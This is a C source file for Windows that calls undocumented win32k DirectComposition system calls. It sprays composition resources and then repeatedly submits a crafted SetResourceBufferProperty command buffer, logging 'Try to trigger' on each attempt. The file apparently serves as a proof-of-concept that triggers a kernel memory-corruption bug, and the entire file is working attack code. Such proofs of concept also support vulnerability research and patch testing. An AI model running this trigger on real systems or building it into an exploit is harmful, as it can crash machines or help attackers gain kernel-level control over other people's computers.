﻿#include <stdio.h>
#include <tchar.h>
#include <windows.h>
#include <winternl.h>
#include <strsafe.h>
#include <assert.h>
#include <conio.h>

#pragma warning(disable: 4311)
#pragma warning(disable: 4302)

enum DCPROCESSCOMMANDID
{
	nCmdProcessCommandBufferIterator,
	nCmdCreateResource,
	nCmdOpenSharedResource,
	nCmdReleaseResource,
	nCmdGetAnimationTime,
	nCmdCapturePointer,
	nCmdOpenSharedResourceHandle,
	nCmdSetResourceCallbackId,
	nCmdSetResourceIntegerProperty,
	nCmdSetResourceFloatProperty,
	nCmdSetResourceHandleProperty,
	nCmdSetResourceHandleArrayProperty,
	nCmdSetResourceBufferProperty,
	nCmdunkown,
	nCmdSetResourceReferenceArrayProperty,
	nCmdSetResourceAnimationProperty,
	nCmdSetResourceDeletedNotificationTag,
	nCmdAddVisualChild,
	nCmdRedirectMouseToHwnd,
	nCmdSetVisualInputSink,
	nCmdRemoveVisualChild
};

extern "C"
NTSTATUS
NTAPI NtDCompositionCreateChannel(
	OUT PHANDLE pArgChannelHandle,
	IN OUT PSIZE_T pArgSectionSize,
	OUT PVOID* pArgSectionBaseMapInProcess
);

extern "C"
NTSTATUS
NTAPI
NtDCompositionProcessChannelBatchBuffer(
	IN HANDLE hChannel,
	IN DWORD dwArgStart,
	OUT PDWORD pOutArg1,
	OUT PDWORD pOutArg2
);


int main(int argc, TCHAR* argv[])
{
	HANDLE hChannel;
	NTSTATUS ntStatus;
	PVOID pMappedAddress = NULL;  SIZE_T SectionSize = 0x4000;
	DWORD dwArg1, dwArg2;
	DWORD hResource = 1;

	//
	// convert to gui thread
	//
	LoadLibrary(TEXT("user32"));

	//
	// create a new channel
	//
	ntStatus = NtDCompositionCreateChannel(&hChannel, &SectionSize, &pMappedAddress);
	if (!NT_SUCCESS(ntStatus)) {
		printf("[*] Create channel error code:0x%08x \n", ntStatus);
		exit(-1);
	}

	printf("[*] Create channel1 ok, channel number: 0x%x \n", (unsigned long)hChannel);

	for (int i = 0; i < 0x8; i++) {

		*(DWORD*)(pMappedAddress) = nCmdCreateResource;
		*(DWORD*)((PUCHAR)pMappedAddress + 4) = hResource;
		*(DWORD*)((PUCHAR)pMappedAddress + 8) = 0x58;
		*(DWORD*)((PUCHAR)pMappedAddress + 0xC) = FALSE;

		ntStatus = NtDCompositionProcessChannelBatchBuffer(hChannel, 0x10, &dwArg1, &dwArg2);
		hResource++;

		*(DWORD*)(pMappedAddress) = nCmdCreateResource;
		*(DWORD*)((PUCHAR)pMappedAddress + 4) = hResource;
		*(DWORD*)((PUCHAR)pMappedAddress + 8) = 0x67;
		*(DWORD*)((PUCHAR)pMappedAddress + 0xC) = FALSE;
		ntStatus = NtDCompositionProcessChannelBatchBuffer(hChannel, 0x10, &dwArg1, &dwArg2);
		hResource++;
	}

	printf("[*] NtDCompositionSetResourceBufferProperty(0x%x, 0x%x)\n", (unsigned long)hChannel, hResource);

	DWORD szBuff[0x12] = {
		0x00000002,
		0x00000004,
	};

	*(DWORD*)pMappedAddress = nCmdSetResourceBufferProperty;
	*(DWORD*)((PUCHAR)pMappedAddress + 4) = 1;
	*(DWORD*)((PUCHAR)pMappedAddress + 8) = 0x15;
	*(DWORD*)((PUCHAR)pMappedAddress + 0xc) = 0xa;
	CopyMemory((PUCHAR)pMappedAddress + 0x10, szBuff, sizeof(szBuff));

	for (int i = 1; i < 0x100; i++) {
		printf("[*] Try to trigger: %d \n", i);
		ntStatus = NtDCompositionProcessChannelBatchBuffer(hChannel, 0x10 + sizeof(szBuff), &dwArg1, &dwArg2);
		Sleep(500);
	}

	return 0;
}